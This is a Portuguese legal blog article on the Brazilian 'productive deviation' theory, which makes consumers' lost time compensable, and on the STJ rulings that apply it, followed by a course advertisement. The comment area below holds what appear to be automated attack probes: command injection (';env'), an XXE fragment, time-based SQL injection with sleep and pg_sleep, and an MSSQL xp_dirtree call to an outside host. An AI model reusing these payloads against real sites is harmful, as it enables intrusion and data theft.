O que é a teoria do desvio produtivo?
A teoria do desvio produtivo considera indenizável o tempo perdido do consumidor. O evento danoso ocorre quando ele gasta o seu tempo de vida, desviando-se das suas atividades cotidianas, para resolver um problema relacionado à falha de um produto ou serviço.
Criou-se o conceito a partir da constatação de que, em muitas situações, as atividades cotidianas dos consumidores são interrompidas por eventos danosos, oriundos de práticas abusivas dos fornecedores. Essas interrupções resultam na perda de tempo, que pode ser tanto o tempo livre quanto o tempo dedicado a atividades profissionais ou familiares.
O brocardo norte-americano é conhecido: “tempo é dinheiro”. Ele é uma das riquezas mais importantes da nossa vida. É finito. Depois que acaba o nosso tempo na Terra, não poderemos fazer mais nada por aqui (salvo a esperança que temos no “Supremo Tribunal do Céu”). O nosso tempo é precioso.
No STJ – Superior Tribunal de Justiça já se chegou a dizer que, “se concebido como uma espécie de direito, o tempo é componente do próprio direito à vida, já que é nele que concretizamos a nossa cada vez mais atarefada existência. Se é questão de direito, o tempo também é questão de justiça”.
É esse o raciocínio que leva à teoria do desvio produtivo (ou teoria ampliada do desvio produtivo do consumidor). A perda de tempo tem relevância jurídica, pois o nosso tempo é valioso; é nele que se dá a nossa vida.
Embora o Código de Defesa do Consumidor ofereça mecanismos para proteger os consumidores, ainda são comuns as queixas, nas relações de consumo ,sobre longas ligações para resolver questões com empresas ou demoras no atendimento em bancos.
Desenvolveu-se, assim, a teoria do desvio produtivo para resolver o problema da perda de tempo dos consumidores, causada pela falta de solução dos fornecedores para problemas de consumo. O fornecedor comete conduta abusiva ao não empregar meios para resolver o problema do consumidor, em tempo razoável.
Segundo o jurista Marcos Dessaune, o desvio produtivo acontece quando o consumidor perde seu tempo valioso para resolver questões de consumo, afastando-se das suas atividades diárias. A atitude dos fornecedores em evitar a sua responsabilidade é o que gera o dano ao consumidor, na forma da perda de tempo útil.
A teoria ampliada do desvio produtivo do consumidor no STJ

A teoria do desvio produtivo é aplicada aos casos de direito do consumidor e tem como objetivo condenar fornecedores, que causam a perda de tempo vital do consumidor, por faltar com as suas responsabilidades nas relações de consumo.
Nesses casos, o STJ reconhece, inclusive, a possibilidade de danos morais coletivos.
A ministra Nancy Andrighi foi a Relatora de casos importantes sobre o tema. Em um dos primeiros julgamentos colegiados, o REsp 1.634.851, a Terceira Turma decidiu favoravelmente ao Ministério Público, em ação civil pública com base na teoria do desvio produtivo.
A ministra Nancy Andrighi destacou que os consumidores frequentemente enfrentam dificuldades para obter produtos adequados, começando pela busca por assistência técnica próxima e agendamento de visitas para solucionar os seus problemas de consumo. Essas tarefas exigem muito tempo dos consumidores, que precisam esperar horas para serem atendidos.
Nesse caso, a Terceira Turma do STJ decidiu que o fornecedor, ao desenvolver atividade econômica, precisa “participar ativamente do processo de reparo do bem, intermediando a relação entre cliente e fabricante e diminuindo a perda de tempo útil do consumidor”.
O tempo perdido em agências bancárias e o lucro empresarial
O REsp 1.737.412, derivado de uma ação civil pública movida pela Defensoria Pública de Sergipe contra o Banco de Sergipe, trata das regras de tempo máximo para atendimento em agências bancárias.
O juiz condenou o banco a garantir atendimento adequado dentro do tempo máximo estabelecido, além de pagar danos morais coletivos no valor de R$ 200 mil. No entanto, o Tribunal de Justiça de Sergipe rejeitou a compensação pelos danos extrapatrimoniais.
De acordo com a Ministra Nancy Andrighi, o dano moral coletivo é diferente do dano individual, pois busca punir o responsável pelo dano e inibir práticas ofensivas.

O sistema capitalista é baseado na eficiência e na especialização para maximizar o uso dos recursos disponíveis. Assim, quando a instituição financeira distribui lucros, sem cumprir adequadamente o direito do consumidor, age de modo ilegítimo, ofendendo a sociedade.
De acordo com Marcos Dessaune, produtos e serviços de qualidade têm a utilidade subjacente de preservar o tempo e as habilidades do consumidor, que não precisa produzi-los para o seu próprio uso.
Eles valorizam o tempo do consumidor. Nesse sentido, os fornecedores têm uma função social de otimizar e maximizar o uso dos recursos disponíveis, para que o consumidor não perca o seu tempo livre.
Nancy Andrighi enfatizou que proteger o tempo valioso dos consumidores é importante, porque algumas empresas desconsideram as suas obrigações consumeristas, com o objetivo de maximizar seus lucros em detrimento da qualidade do serviço.
No caso em questão, Nancy Andrighi lembrou que a lei municipal estipulava que o tempo de espera não deveria ultrapassar 15 minutos em dias normais e 30 minutos em dias especiais. Só que o banco impunha aos seus clientes tempos de espera que ultrapassavam duas horas.
A ministra concluiu que a instituição financeira em questão escolheu não se adequar aos padrões de qualidade, causando desperdício de tempo valioso e prejudicando o interesse social de usar os recursos de forma produtiva. Por isso, ela restabeleceu a condenação por danos morais coletivos.
A Terceira Turma do STJ também já aplicou a teoria do desvio produtivo em face de falhas em terminais eletrônicos, que estavam com os caixas desabastecidos. No caso concreto, os consumidores tiveram que esperar mais de 40 minutos, para utilizar o caixa eletrônico.
Os Ministros consideraram que a reiterada existência de caixas eletrônicos inoperantes é uma prestação de serviços bancários inadequada.
A Teoria do desvio produtivo só cabe em relações de consumo
Em fevereiro de 2023, no REsp 2.017.194, a Terceira Turma do Superior Tribunal de Justiça – STJ decidiu que a teoria do desvio produtivo não se aplica fora das relações de consumo.
A Terceira Turma não aplicou a teoria em caso de pagamento de indenização pela demora na transferência definitiva de um imóvel.
No caso concreto, o STJ não identificou situação de desigualdade ou vulnerabilidade, que justificasse a aplicação da teoria. A relação jurídica das partes era estritamente de direito civil. Não se tratava de relação de consumo.
A Ministra Nancy Andrighi afirmou que a teoria do desvio produtivo só é aplicável nas relações de consumo, porque há nelas desigualdade e vulnerabilidade entre as partes. O que não ocorre nas relações jurídicas regidas somente pelo direito civil.
A teoria do desvio produtivo se encaixa no contexto de expansão dos danos indenizáveis, que vão além dos danos materiais e morais convencionais.
Aplica-se essa teoria sempre que o fornecedor tentar evadir sua responsabilidade de resolver os problemas do consumidor de forma voluntária, efetiva e rápida, fazendo com que a parte vulnerável perca tempo valioso e desvie de suas atividades diárias para resolver o problema causado.
Cabe lembrar que, em entrevista ao ConJur, em 25 de setembro de 2022, Marcos Dessaune defendeu a aplicação da teoria do desvio produtivo no Direito Administrativo, em relação ao serviço público uti universi, que se refere a uma relação entre a administração pública e o cidadão-usuário
Conclusão
A teoria do desvio produtivo parte do pressuposto de que o tempo é um bem vital e precioso para o ser humano, e que a sua perda deve ser ressarcida pelo fornecedor. Ela se aplica a vários tipos de relações de consumo, como a prestação de serviços por instituições financeiras, a compra de produtos, entre outros.
A aplicação da teoria do desvio produtivo na relação jurídica entre consumidor e fornecedor é uma questão de direito que vem sendo decidida pela terceira turma do Superior Tribunal de Justiça. Em suas decisões, a turma tem consagrado o direito do consumidor de receber indenização pelo tempo perdido, desde que comprovado que a perda tenha sido causada por uma atitude abusiva do fornecedor.
A teoria do desvio produtivo é uma espécie de direito que tem a finalidade de proteger o tempo de vida do ser humano e de garantir que o mercado de consumo seja regulado por padrões de qualidade e coerência necessários. Ela também busca ressarcir o consumidor pelo tempo perdido, que não pode ser recuperado e que, portanto, representa uma perda irreparável.
Gostaria de aprender mais sobre o direito e levar as suas habilidades jurídicas para outro nível?
Ou quer fazer outros cursos incríveis, com temas de criminologia, filosofia, psicologia e muito mais?
Explore os cursos do direito novo: aprenda com interação e inovação.
Combinamos o ensino moderno com recursos de gamificação e aulas cinemáticas.
Os nossos cursos proporcionam uma compreensão do sistema jurídico do princípio ao fim, para que você possa se destacar e fazer a diferença.
Hi there!
Hi there!
;env
Hi there!
Hi there!
http://www.google.fr/?
<!DOCTYPE foo[]>&xxe;
Hi there!
Hi there!
Hi there!
Hi there!
Hi there!
Hi there!
sleep(11)#1
1 or pg_sleep(11)–1
1 and pg_sleep(11)–1
“;d=new Date();do{cd=new Date();}while(cd-d<10000);//
I was very pleased to uncover this web site. I want to to thank you for your time due to this fantastic read!! I definitely appreciated every bit of it and I have you bookmarked to look at new things on your website.
Lorem ipsum dolor sit amet, consectetur adipiscing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat. Duis aute irure dolor in reprehenderit in voluptate velit esse cillum dolore eu fugiat nulla pariatur. Excepteur sint occaecat cupidatat non proident, sunt in culpa qui officia deserunt mollit anim id est laborum.
EXEC master..xp_dirtree ‘\i-18703-517.bgle.0b.vc’ —